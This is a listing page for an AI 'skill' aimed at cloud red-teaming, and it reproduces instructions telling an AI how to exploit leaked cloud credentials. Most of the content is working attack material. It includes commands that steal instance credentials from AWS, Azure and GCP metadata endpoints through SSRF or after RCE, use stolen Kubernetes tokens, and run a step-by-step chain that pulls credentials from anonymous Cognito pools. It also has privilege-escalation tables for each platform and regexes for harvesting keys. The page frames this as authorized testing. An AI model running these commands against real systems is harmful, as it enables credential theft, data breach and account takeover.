cloud-iam-deep
SkillCloud & infraAdd this skill and your AI can analyze discovered cloud credentials to map exactly what they can access across AWS, Azure, and GCP. It then identifies where those permissions could be escalated into broader control and which paths an outside attacker could realistically exploit. It is built for authorized red-team testing of cloud environments you are allowed to assess.
Available today. Use it from your connected AI after setup.
No other account needed.
After adding it, point your AI at the cloud account or credential set you are authorized to test and ask for a permission map or an escalation review. Only run it against environments you own or have written permission to assess.
Then ask your AI: use the cloud-iam-deep skill
What your AI can do with it
- Enumerate roles and permissions in AWS, Azure, or GCP using each platform's standard command-line tools
- Map the full access a discovered or leaked credential actually holds
- Trace STS and AssumeRole chains where one credential can borrow another role's permissions
- Identify Azure Managed Identity abuse paths reachable through SSRF or credential leaks
- Review GCP service account JSON keys for permissions that can be abused
- Surface realistic privilege escalation routes an outside attacker could follow
What this skill tells your AI
The instructions your AI receives, as published by elementalsouls/claude-bughunter in skills/cloud-iam-deep/SKILL.md and read by ahel’s review.
When to use
Trigger when:
- A cloud credential surfaces (key, secret, token, JSON file)
- SSRF chain reaches IMDS / metadata endpoint
- APK / git-leak reveals embedded cloud key
- Recon shows public S3/GCS/Azure-blob with permissions you can verify
- A Kubernetes API or service-account token is exposed
- Post-RCE on a cloud-hosted instance — pivot to cloud control plane
Do NOT use for:
- On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
- Web2 vulns that happen to be on AWS — use the relevant
hunt-*skill
Credential identification (first 60 seconds)
# AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
# Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
# GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
AWS — read-only validation (the safe first step)
# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name
# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
AWS privesc patterns (24+ documented — iam_privesc techniques)
Quick lookup — if you have any of these IAM actions, escalate via the listed technique:
| You have | Escalate via |
|---|---|
iam:CreateAccessKey | Create access key on any user → impersonate |
iam:CreateLoginProfile | Set a console password on a user → login |
iam:UpdateLoginProfile | Reset console password on a user |
iam:AttachUserPolicy | Attach AdministratorAccess to self |
iam:AttachGroupPolicy | Attach AdministratorAccess to a group you're in |
iam:AttachRolePolicy + sts:AssumeRole | Attach to a role you can assume |
iam:PutUserPolicy | Inline AdministratorAccess to self |
iam:PutGroupPolicy | Inline policy on a group |
iam:PutRolePolicy | Inline on a role you can assume |
iam:AddUserToGroup | Add self to admin group |
iam:UpdateAssumeRolePolicy + sts:AssumeRole | Modify trust to allow self |
iam:CreatePolicyVersion | Create v2 of an attached policy with admin |
iam:SetDefaultPolicyVersion | Switch attached policy to admin version |
iam:PassRole + ec2:RunInstances | Launch EC2 as admin role → use instance creds |
iam:PassRole + lambda:CreateFunction/InvokeFunction | Run code as admin role |
iam:PassRole + cloudformation:CreateStack | CF stack creates resources as admin |
iam:PassRole + glue:CreateDevEndpoint | Notebook runs as admin role |
iam:PassRole + datapipeline | Pipeline runs as admin role |
iam:PassRole + codestar:CreateProject | New project gets admin role |
ec2:RunInstances (with admin instance profile already on the AMI) | Spin instance, exfil creds from IMDS |
lambda:UpdateFunctionCode (function has admin role) | Replace code → exfil creds |
lambda:UpdateFunctionConfiguration | Add layer / env var that exfils |
cloudformation:UpdateStack | Modify stack to grant self admin |
sts:AssumeRole (where trust allows you) | Direct privilege jump |
Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.
AWS — STS / cross-account / role chaining
# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify
aws sts get-caller-identity # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)
Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.
AWS IMDSv1 / IMDSv2 abuse via SSRF
# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.
Azure — credential validation
# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity
# Who am I?
az account show
# Subscriptions
az account list --output table
# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table
# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
Azure — Managed Identity abuse
# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Get token for Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data
Azure privesc patterns
| You have | Escalate via |
|---|---|
Microsoft.Authorization/roleAssignments/write on tenant | Self-assign Owner |
Microsoft.Authorization/roleDefinitions/write | Modify role def to add powers |
Microsoft.Compute/virtualMachines/runCommand/action | Run command on VM (with VM's MI) |
Microsoft.KeyVault/vaults/secrets/getSecret/action | Read all KV secrets |
Microsoft.Storage/storageAccounts/listkeys/action | Read all storage blobs |
Microsoft.Web/sites/publishxml/action | Get publish profile → RCE on app |
Microsoft.Web/sites/host/listkeys/action | Func app key → RCE via function trigger |
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory | Grant self Global Admin |
GCP — service account JSON
# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json
# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project
# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
--flatten="bindings[].members" \
--format="table(bindings.role)" \
--filter="bindings.members:<sa-email>"
# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
GCP privesc patterns
| You have | Escalate via |
|---|---|
iam.serviceAccounts.getAccessToken on higher-priv SA | Get token for that SA |
iam.serviceAccounts.implicitDelegation | Chain through delegate SAs |
iam.serviceAccounts.signBlob / signJwt on higher SA | Forge JWT for that SA |
iam.serviceAccountKeys.create | Create new key for any SA → impersonate |
iam.serviceAccounts.setIamPolicy | Grant self impersonation rights |
iam.roles.update (on custom role) | Add admin permissions to a role you have |
cloudfunctions.functions.update (function runs as high-priv SA) | Replace code → exfil creds |
cloudfunctions.functions.call + above | Trigger replacement |
compute.instances.setMetadata | Add ssh-keys metadata → SSH as root |
compute.instances.setServiceAccount | Attach higher-priv SA to instance |
cloudbuild.builds.create (build runs as project SA) | Build executes attacker code |
deploymentmanager.deployments.create | Resources created as DM SA |
GCP IMDS attack (via SSRF or post-RCE)
# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects"
Kubernetes — exposed API / SA token
# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"
# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"
# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
K8s privesc patterns
| You have | Escalate via |
|---|---|
pods/exec on high-priv pod | exec into pod with admin SA token |
pods/create + serviceaccounts/use | Create pod mounting admin SA token |
secrets/get | Read any service-account token in cluster |
clusterrolebindings/create | Grant self cluster-admin |
roles/escalate or clusterroles/escalate | Add permissions to role |
nodes/proxy | Proxy to kubelet on any node → exec via kubelet |
bind verb on roles | Bind a role you don't have to a subject |
impersonate on users/groups/SAs | Operate as another principal |
Tooling reference
| Tool | Cloud | Purpose |
|---|---|---|
| Pacu | AWS | Full red-team framework, 100+ modules |
| enumerate-iam.py | AWS | Brute-force list of API calls to discover permissions |
| PMapper | AWS | Visualize privesc paths as graph |
| CloudFox | AWS | Recon-focused (enumerate resources, no privesc) |
| Prowler | AWS/Azure/GCP | Compliance scanning + enumeration |
| ScoutSuite | AWS/Azure/GCP/OCI | Multi-cloud audit |
| AzureHound | Azure | BloodHound-style graph for Azure |
| MicroBurst | Azure | Azure-specific recon and abuse modules |
| ROADtools | Azure | Entra ID enumeration toolkit |
| GCPBucketBrute | GCP | GCS bucket permission enumeration |
| gcpwn | GCP | GCP-specific exploitation framework |
| Peirates | K8s | Container/cluster exploitation toolkit |
| kube-hunter | K8s | Auto-scan cluster from inside/outside |
| kubectl-trace | K8s | Trace processes (post-foothold) |
Anti-patterns
- DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
- DO NOT enumerate everything in scope of an account —
aws iam list-usersagainst an account with 50,000 users is loud and slow - DO NOT use
aws *with non-test creds without confirming you have the right account — accidentally hitting prod = career risk - DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
- DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
- DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with
mid-engagement-ir-detection - DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only
Bridge to neighboring skills
hunt-cloud-misconfig— finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)hunt-ssrf— SSRF→IMDS is the canonical chain into cloud control planeapk-redteam-pipeline— APK secret extraction commonly yields cloud credssupply-chain-attack-recon— CI/CD pipelines store cloud creds; finding them is a separate workflowm365-entra-attack— Azure cross-product; Managed Identity tokens cross over to Graphmid-engagement-ir-detection— cloud control plane activity is monitored; expect mitigations
Severity scoring guidance
| Finding | Severity |
|---|---|
AWS access key with *:* in policy → confirmed admin | Critical |
GCP SA JSON with roles/owner on production project | Critical |
| Azure MI on internet-exposed VM with Owner role | Critical |
| Leaked cred with read-only on prod data store | High (or Critical depending on data sensitivity) |
| Leaked cred with privesc path but no admin yet | High |
| Leaked cred — read access only to non-sensitive | Medium |
| Anonymous public bucket — listing only | Low/Medium |
| Anonymous bucket — write permission | High |
Cleanup discipline (deliverable hygiene)
If during the engagement you:
- Used
sts:AssumeRoleto chain — note the role names and times in IoCs - Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
- Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems
Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.
AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)
AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via cognito-identity:GetId → cognito-identity:GetCredentialsForIdentity. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.
Step 1 — Discover the IdentityPoolId
The IdentityPoolId is a public identifier by AWS design (<region>:<UUID> format). The find:
# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map
Wayback CDX captures, GitHub code-search for the apex domain + IdentityPoolId, and JS chunks linked from index.html are the high-yield search corpora.
Step 2 — GetId (unauth)
aws cognito-identity get-id \
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
--region us-east-1 \
--no-sign-request
--no-sign-request is critical — tells the CLI not to look for ambient AWS credentials. Returns {"IdentityId": "us-east-1:<uuid>"}. If this returns NotAuthorizedException, unauth identities are disabled — stop, not exploitable.
Step 3 — GetCredentialsForIdentity
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:<returned-uuid> \
--region us-east-1 \
--no-sign-request
Returns real STS credentials with ~1 hour TTL: AccessKeyId (ASIA…), SecretKey, SessionToken, Expiration.
Step 4 — Confirm role ARN
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
Returns role ARN like arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials. Account ID is now disclosed.
Step 5 — Enumerate role permissions
Direct (rare):
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
Blackbox (the normal case) — fire a permission probe across high-value services and observe AccessDenied vs success. Pacu's iam__enum_permissions --role-name <name> brute-forces ~500 IAM actions; enumerate-iam.py by Andrés Riancho covers ~1000. Common over-permissions: s3:Get*/s3:List*, dynamodb:Scan, lambda:InvokeFunction, appsync:GraphQL, cognito-idp:AdminCreateUser, iam:PassRole, kms:Decrypt.
Severity rubric
| Finding | Severity | Justification |
|---|---|---|
Unauth role with *:* or AdministratorAccess | Critical (9.8+) | Full AWS account takeover |
Unauth role with s3:Get* / s3:List* on production customer buckets, or dynamodb:Scan on user tables | Critical (9.1-9.8) | Mass PII / data breach |
Unauth role with appsync:GraphQL on production API, or lambda:InvokeFunction on internal lambdas | Critical (9.0) | Authenticated backend access |
Unauth role with cognito-idp:Admin* on the linked User Pool | Critical (9.1) | Mass ATO primitive |
Unauth role with iam:PassRole + create-function | Critical (9.8) | Documented priv-esc to admin |
Unauth role with s3:PutObject on web-hosting bucket | High (8.1) | Stored XSS / supply-chain |
Unauth role with kms:Decrypt on a customer CMK | High (7.5-8.5) | Depends on ciphertext reachability |
| Unauth role with read-only on a single hardcoded non-sensitive resource | Medium (5.3) | Limited business impact |
| Unauth identities enabled but role policy denies everything | Informational | Best-practice deviation only |
Disclosed cases / authoritative writeups
- Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class.
GetCredentialsForIdentityagainst unauth pools with default*policies. andresriancho.com - Rhino Security Labs — Pacu
cognito__enum_identity_poolsmodule — production tooling that automates Steps 1-5 of the chain. github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. notsosecure.com
- HackTricks Cloud —
aws-cognito-unauthenticated-enum— canonical playbook covering Steps 1-5. cloud.hacktricks.wiki - Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had
cognito-idp:AdminConfirmSignUp+AdminUpdateUserAttributeson the linked User Pool — silent confirmation of any signup + email change = mass ATO. - Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. securitylabs.datadoghq.com
Reporting tip
Always include in the report:
sts get-caller-identityoutput (proves the role ARN + account ID)- Pacu
iam__enum_permissionsJSON output (proves the granted actions) - A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)
Without all three, triagers downgrade to Medium. The 60-second test is GetId → GetCredentialsForIdentity → sts get-caller-identity. If you reach step 3 anonymously, you have a finding.
Cross-reference: hunt-cloud-misconfig → CloudWatch RUM weaponization covers the specific RUM-embedded variant of this attack class.
Related Skills & Chains
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 4k
- Forks
- 668
- Last commit
- Sep 2026
ahel review
K2info
exfiltration
Automated review, not a security audit. Ruleset v1+k2.
Others that do the same job
Advanced
- Catalog kind
- skill
- Gateway key
cloud-iam-deep- Source
- github.com/elementalsouls/claude-bughunter